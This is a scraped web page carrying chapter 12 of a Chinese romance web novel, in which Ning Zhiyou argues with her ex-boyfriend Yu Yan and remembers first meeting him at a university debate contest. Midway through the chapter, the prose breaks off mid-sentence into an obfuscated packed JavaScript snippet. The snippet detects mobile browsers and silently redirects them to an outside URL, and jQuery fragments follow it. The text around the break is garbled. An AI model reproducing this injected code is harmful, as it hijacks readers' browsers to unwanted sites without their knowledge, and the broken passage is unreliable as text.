默认冷灰
24号文字
方正启体

12. 第十二阵风

作者:灰离本书字数:K更新时间:
    宁知宥一口水呛着,咳嗽声不止。


    俞砚瞥了她一眼,顺手从旁边抽了张纸递过去,然后又转身,面无表情地帮她拍背。


    他拍人力度不大,但这么一遭,宁知宥确实好了许多。


    她稳住了自己的呼吸:“你今天对我关心地有点过头。”


    “是么,”俞砚心不在焉地笑了声,“再不关心一下你,我就差点成杀人凶手了。”


    “不是被绊着就是被呛着,你出门没看黄历?”


    宁知宥把水杯放在一边,翻了个白眼:“你舔一下自己的嘴唇真的不会把自己毒死么?”


    俞砚:“之前亲那么多次,你不也活得好好的。”


    宁知宥:......


    她抬头看见俞砚那张似乎仍旧面无表情的脸,此刻只觉得贱嗖嗖。


    “行,出息了,”宁知宥抬了下下巴,反将一军,“之前提起我俩谈过你那如临大敌的样子,还以为你不会承认这段感情了呢。”


    “怎么,现在认命了?”


    “不认命有用么?”俞砚反问,“你不也从来没避讳过。”


    宁知宥耸了耸肩:“我有什么好避讳的,难道你觉得我跟你谈恋爱,是什么很拿不出手的事?”


    俞砚笑了声:“所以,你这个意思,是想吃回头草了?”


    他目光盯着宁知宥,半开玩笑中竟然夹杂着半分认真,一瞬间让她觉得煞有其事。


    “你想多了,怎么可能。”宁知宥推开他,从椅子上直起身准备走,却被牵住了。


    “不想吃回头草,只是单纯让我干那种事?”俞砚有些不依不饶。


    “什么事?”宁知宥皱了下眉,疑惑。


    俞砚咬着牙,学着她的描述:“你所谓的那个,模特。”


    他语气不太好,甚至算得上冲,火药味很浓,一场战争似乎一触即发。


    他实在想不通,宁知宥为什么会找他来当男模。


    还能够、这么坦荡。


    宁知宥被他拽得也有些恼,再加上他这个冲人的语气,更加气不打一处来:“一码归一码,我找你当模特和这件事有什么关系么?”


    “你要是真不愿意,我也不费劲缠着你了,再找别人就是。”她顿了顿,“我不明白这件事为什么会给你造成这么大的困扰,但如果真是这样,我只能跟你说声抱歉,以后不会了。”


    俞砚听完,没来得及思考,立刻皱着眉开腔:“你还打算找别人?”


    宁知宥简直要被他气笑:“你不愿意来,还不让我找别人么?俞砚,你能不能别闹了。”


    她说完,使了些力气将手腕从俞砚掌心中挣脱开,自顾自朝电梯走去。


    只留俞砚一个人在原地,盯着她的背影。


    宁知宥实在有些想不通。


    最近是和模特这档子事犯冲么?


    不然为什么一个临阵逃脱就算了,俞砚还要在这里搅和。


    她憋了一口气,心想当初就不应该找他。


    麻烦。


    宁知宥想完,看着床对面桌子上摆放着的台历。


    距离周三截稿没几天了。


    本来想着能不能在俞砚那里找点灵感,没想到又一次不欢而散,计划算是泡汤。


    她叹了口气,拉过被子。


    生病过后,宁知宥晚上失眠,白天倒是会变得十分嗜睡。


    遇到情绪问题,睡觉是她唯一能够逃避现实的手段。


    所以久而久之,也就成了习惯。


    不管了,闭上眼的那一刻,宁知宥想,说不定梦境比俞砚那条狗有用。


    或许是白天睡觉的原因,这一觉她没睡得很沉,做了许多梦。


    和灵感有关的几乎没有,倒是和俞砚有关的挺多。


    少年时期的俞砚毫不客气地闯入她的梦中,好像隔着时空在和她对话。


    “你知道你几年后这么狗么?”宁知宥问他。


    少年没回答,只是带着些幽怨反问:“我知道我几年后被你伤害得这么深么?”


    ......


    宁知宥睡了二十分钟就惊醒,偏头痛随之而来。


    她挣扎着起身吞了片布洛芬,接着又躺回去,盯着天花板发呆。


    或许是因为刚刚那场梦,她久违想起来自己和俞砚的初见。


    其实当年俞砚入学的时候,宁知宥大三,在辩论社已经是元老级别的人物,准备要“退休”。


    刚开学没多久,就听大二的学妹说,今年社团招进来了个帅哥,托他的福,这几天社团的报名表都多发出去了不少。


    宁知宥笑笑,不以为意:“辩论又不是用脸打。”


    学妹不认同:“姐,我当时面试的他,这个学弟可厉害了,当时那个即兴辩论,他一张嘴,我就感觉有你的影子。”


    “是么,”宁知宥扬了下眉,来了点兴趣,“他新生赛在哪个场?我去当评委。”


    “干嘛?”学妹打趣道,“以公谋私啊?”


    “就是想见见我的影子长什么样,”宁知宥伸出两根手指,“他那天的两场,我都去,这回行了不?”


    学妹正愁找不到评委,听她这么一说,瞬间点头如捣蒜:“行,可太行了!”


    说完,又捂着胸口:“只是可怜弟弟,刚第一场比赛就遇见你这样个评委,你到时候可轻点喷,别把人家小帅哥的辩论热情喷没了。”


    宁知宥笑了声:“这点挫折都受不了,那以后也别打比赛了。”


    她辩论能力强,当评委也向来严格,不管是谁都不惯着,总能一针见血指出问题。


    话虽没多哄人,也不太中听,但总能学到很多东西。


    宁知宥之前基本上不评新生赛前两轮,这回是个例外。


    所以很快,她就发现自己给自己挖了个大坑。


    新生刚入学,许多人没接触过这块,打起来毫无章法,整场下来几乎全在无意义的点上纠结反驳,自由辩更是乱的如同吵架,一点有用信息都提取不出来,几分钟的时间通通浪费掉。


    宁知宥坐在评委席,脸都是黑的。


    学妹给她送水,看到她的表情,生怕人一气之下直接摔门而出,慌忙提醒:“姐,你可别这时候走啊,小帅哥还没来呢。”


    宁知宥叹了口气:“你就祈祷下一场别打得和这场一个水平吧。”


    她被上场打得糊成一团的辩论搅得头晕,刚喝了两口水压了下,就看见门口有人进来。


    宁知宥目光看过去。


    走在最后的男生西装笔挺,但整个人却很松弛,拿着辩论稿,一脸云淡风轻地跟在队友身后。


    不怪宁知宥注意到他,只因为这个人长得实在有点太突出了。


    颜值、身高,都是。


    宁知宥准备喝水的手微不可查地顿了一下,将杯子又放回桌面。


    一旁学妹有点激动:“看吧,是不是很帅?”


    男生绕过桌子,走到正方二辩的位置坐下,宁知宥看着他,心不在焉地“嗯”了声。


    话虽然没说太多,学妹却兴奋起来:“我就说吧,连你都觉得帅,说明是真的权威。”


    宁知宥笑了下,恰好主席开始宣读规则,她噤了声,专心评比赛。


    有了上一场的冲击,再加上这次两队前半场打的也很一般,所以宁知宥做好了后半场的时间再次被废掉,打成一团浆糊的准备。


    她叹了口气,只觉得头晕。


    直到自由辩计时开始。


    正方二辩开始陈述,宁知宥眼睛亮了一下。


    男生头脑清醒,将己方剩下的论推完,顺便把对方的逻辑链拆掉得七七八八。


    宁知宥这才想起来,二辩对辩的时候,他的表现也是不错的。


    只不过习惯性用专业辩手的标准审判,让她不小心忽略了,其实新人做到这种地步已经很厉害了。


    她这才想起来看名单上对方的名字。


    正方二辩,俞砚。


    ......


    这场的主要问题和上场差不多,毕竟都是新手,常见错误重合也正常。


    宁知宥简单点评了一下,在打分表上写下分数。


    学妹收表单的时候有些惊讶:“学姐,你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279109|198342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这次竟然投佳辩了,之前评新生赛的时候,这种环节你不都弃权吗?”


    宁知宥笑了声:“正方二辩确实不错,是个好苗子。”


    学妹自豪地点头:“我就说吧,有你当年的风范。”


    宁知宥拍了拍她的肩膀:“好好培养,说不定等我毕业前,还有机会一起出去打比赛。”


    “放心,”学妹打包票,“不会辜负你的期待的。”


    辩论社的传统就是打完聚餐,可宁知宥明天有个晚宴要参加,家里给定制了几套衣服需要试,刚评比赛的时候电话已经被打了好几回,现在说什么也逃不掉,只能胡诌了一个家里有事要帮忙的理由,推了聚餐,赶回去应付。


    社员们哀嚎一片,说多久没和她一起聚过了。


    宁知宥哭笑不得:“你们就别虐待我这个大三的老人了,自己去吃吧,顺便跟小朋友们交流一下感情。”


    “要不你简单吃点,晚点再回去呗?”其中一个一手被她带起来的社员说道。


    “不用了,家里催好久了。”


    她最终还是拒绝邀约,选择自己先走。


    这个点华大的校园没什么人,路上空荡荡的。


    宁知宥吹着晚风,想起马上要回家,忽然有种被从乌托邦中硬拽出来的错觉。


    这些年她晚宴参加地格外多,有事没事就要因此请假。


    好在宁知宥学东西快,上课听完,课后就能把作业快速应付出来,花不了太多时间,成绩也能一直保持上游。


    但并不代表她不会累,也不代表她喜欢掺和这些所谓的上层社交。


    比起这个,还不如和辩论队那群人吃饭来得轻松。


    宁知宥觉得自己好像又要回家被人当成一尊任人裹挟的工艺品,然后被推至台上,伪装成一副成熟老练的样子,和家人一同站在名利场交际。


    她叹了口气。


    高中时期知道她家境的同学总会说她就是个不是柴米油盐酱醋茶的大小姐,钱多到花不完,什么也不用操心。


    可只有她自己知道,不是的,完全不是的。


    这种故作轻松的调侃实际上大部分时候都包裹着一种微妙的恶意。


    没有理由深究,但听起来总归是让人不舒服的。


    所以上大学之后,宁知宥刻意隐瞒了自己的家事,伪装成一个普通学生。


    风言风语少了,她也久违地体验到了“正常人”的生活。


    可每次当她以为就可以永远这么下去的时候,总会有一场晚宴,或者一场展会横过来提醒她。


    你永远,不要妄想自己能过上无关名利的生活。


    永远、不能。


    宁知宥心情算不上太好,迎着晚风,慢吞吞向前,好像这样就能留得久一点。


    直到身边似乎多出来一个人,打断了她的思绪。


    宁知宥转身的瞬间,认出来这是刚刚那位她很看好的正方二辩。


    男生穿着西装,袖口被挽起,消解了辩论场上的严肃。


    和刚刚充满攻击性输出的辩手仿佛判若两人。


    俞砚笑着闯进宁知宥的视野:“学姐。”


    宁知宥愣了一下:“你不跟他们团建么?”


    “我也有事,”俞砚语气轻松,“所以就先回来了。”


    “这样啊,”宁知宥点头,“不过以后你们打比赛的时间也多,总有聚餐机会的。”


    她话音刚落下,就听俞砚问:“那学姐,你会去么?”


    “我......”宁知宥不知道怎么答话,只是下意识抬头。


    在看见他眼睛的一瞬间,她怔愣了一下。


    长久混迹在名利场之中的人,看见这样一双眼睛都会走神的。


    它实在太过不同,以至于宁知宥听见有什么东西轻轻叩了一下。


    于是,本该不属于她这个年纪,却困扰她已久的钱权名利因为眼前的男生骤然消失。


    那一天,俞砚带着一腔纯洁无瑕的灵魂,闯入了她的生活。


    明明只是仓皇错乱中的匆匆一眼,往后的多年时间里,却怎么也忘不掉了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)